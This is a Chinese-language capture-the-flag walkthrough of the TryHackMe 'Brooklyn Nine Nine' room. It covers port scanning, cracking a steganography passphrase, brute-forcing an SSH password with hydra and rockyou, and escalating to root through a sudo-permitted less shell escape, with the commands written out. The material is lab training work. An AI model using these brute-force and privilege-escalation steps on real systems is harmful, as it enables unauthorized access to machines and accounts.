

Brooklyn Nine Nine

URL

https://tryhackme.com/room/brooklynninenine

IP 10.10.107.1



先使用rustscan搭配nmap來針對服務做服務探測及預設腳本列舉

```
rustscan -a 10.10.107.1 -r 1-65535 --u
The Modern Day Port Scanner.
: http://discord.skerritt.blog
: https://github.com/RustScan/RustScan :
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
The config file is expected to be at "/root/.rustscan.toml"
Automatically increasing ulimit value to 5000.
Open 10.10.107.1:21
Open 10.10.107.1:22
Open 10.10.107.1:80
```



```
STATE SERVICE REASON
                                    VERSION
                    syn-ack ttl 63 vsftpd 3.0.3
21/tcp open ftp
  ftp-anon: Anonymous FTP login allowed (FTP code 230)
               1 0
                                        119 May 17 2020 note to jake.txt
  -rw-r--r--
  ftp-syst:
    STAT:
  FTP server status:
       Connected to :: ffff:10.8.58.168
       Logged in as ftp
      TYPE: ASCII
       No session bandwidth limit
       Session timeout in seconds is 300
       Control connection is plain text
       Data connections will be plain text
       At session startup, client count was 4
       vsFTPd 3.0.3 - secure, fast, stable
  End of status
22/tcp open ssh
                    syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  ssh-hostkey:
    2048 167f2ffe0fba98777d6d3eb62572c6a3 (RSA)
 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQjh/Ae6uYU+t7FWTpPoux5Pjv9zvlOLEMlU36hmSn4vD2pYTeHDbzv7ww75UaUzPtsC8kM1EPbMQn1BUCvTNkIxQ34zmw5FatZWN
R8/De/u/9fXzHh4MFg74S3K3uQzZaY7XBaDgmU6W0KEmLtKQPcueUomeYkqpL78o5+NjrGO3HwqAH2ED1Zadm5YFEvA0STasLrs7i+qn1G9o4ZHhWi8SJXlIJ6f6O1ea/VqyRJZG1Kgbx
QFU+zYlIddXpub93zdyMEpwaSIP2P7UTwYR26WI2cqF5x4PQfjAMGkG1mMsOi6v7xCrq/5RlF9ZVJ9nwq349ngG/KTkHtcOJnvXz
    256 2e3b61594bc429b5e858396f6fe99bee (ECDSA)
  ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAvNTYAAAAIbmlzdHAvNTYAAABBBItJ0sW5hVmiYQ8U3mXta5DX2zOeGJ6WTop8FCSbN1UIeV/9jhAQIiVENAW41IfiBYN
j8Bm+WcSDKLaE8PipgPI=
    256 ab162e79203c9b0a019c8c4426015804 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP2hV8Nm+RfR/f2KZ0Ub/OcSrqfY1g4qwsz16zhXIpqk
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
 _http-title: Site doesn't have a title (text/html).
 _http-server-header: Apache/2.4.29 (Ubuntu)
 http-methods:
   Supported Methods: OPTIONS HEAD GET POST
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux kernel
```



先逛一下網站,看了一下code

<!-- Have you ever heard of steganography? -->

蠻明顯的暗示,隱寫術

wget http://10.10.107.1/brooklyn99.jpg

那就載圖吧

Enter passphrase:

使用steghide想要取得圖片中的東西,但需要密碼 那就直接用stegcracker破吧

stegcracker brooklyn99.jpg

就會成功取得Holt使用者的密碼(是Holt不是Holts...) 有開SSH就直接上吧



```
holt@10.10.107.1's password:
Last login: Tue May 26 08:59:00 2020 from 10.10.10.18
holt@brookly_nine_nine:~$
```

順利登入,家目錄即可得到第一題答案

這題還有另一個解法,前面nmap掃描時有掃到FTP能使用anonymous登入

```
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
```

裡面有一段留言,amy告訴jake密碼太爛記得換

hydra -l jake -P /usr/share/password/rockyou.txt ssh://10.10.107.1

試著破破看,成功獲得jake的密碼



成功登入

```
jake@10.10.107.1
jake@10.10.107.1's password:
Last login: Mon May 1 08:59:03 2023 from 10.8.58.168
jake@brookly_nine_nine:~$
```

去holt的家目錄即可獲得第一題的答案

做一些基本的提權檢測

```
jake@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shin\:/snap/bin
User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less
```

發現使用sudo,less就可以不需要密碼以任何身份執行



於是就到GTFOBins中找less的sudo

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo less /etc/profile
!/bin/sh
```

照著做即可取得root

```
jake@brookly_nine_nine:~$ sudo less /etc/profile
#
# id
uid=0(root) gid=0(root) groups=0(root)
# ||
```

在root的家目錄即可找到第二題答案

